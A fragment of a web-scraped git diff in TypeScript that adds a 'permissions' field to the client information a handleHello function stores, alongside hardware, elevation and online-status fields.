info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation;
|
||||
if ((payload as any).permissions && typeof (payload as any).permissions === "object") {
|
||||
info.permissions = (payload as any).permissions;
|
||||
}
|
||||
info.cpu = (payload as any).cpu || info.cpu;
|
||||
info.gpu = (payload as any).gpu || info.gpu;
|
||||
info.ram = (payload as any).ram || info.ram;
|
||||
@@ -121,6 +124,7 @@ export function handleHello(
|
||||
ram: info.ram,
|
||||
isAdmin: info.isAdmin,
|
||||
elevation: info.elevation,
|
||||
permissions: info.permissions,
|
||||
lastSeen: info.lastSeen,
|
||||
online: 1,
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user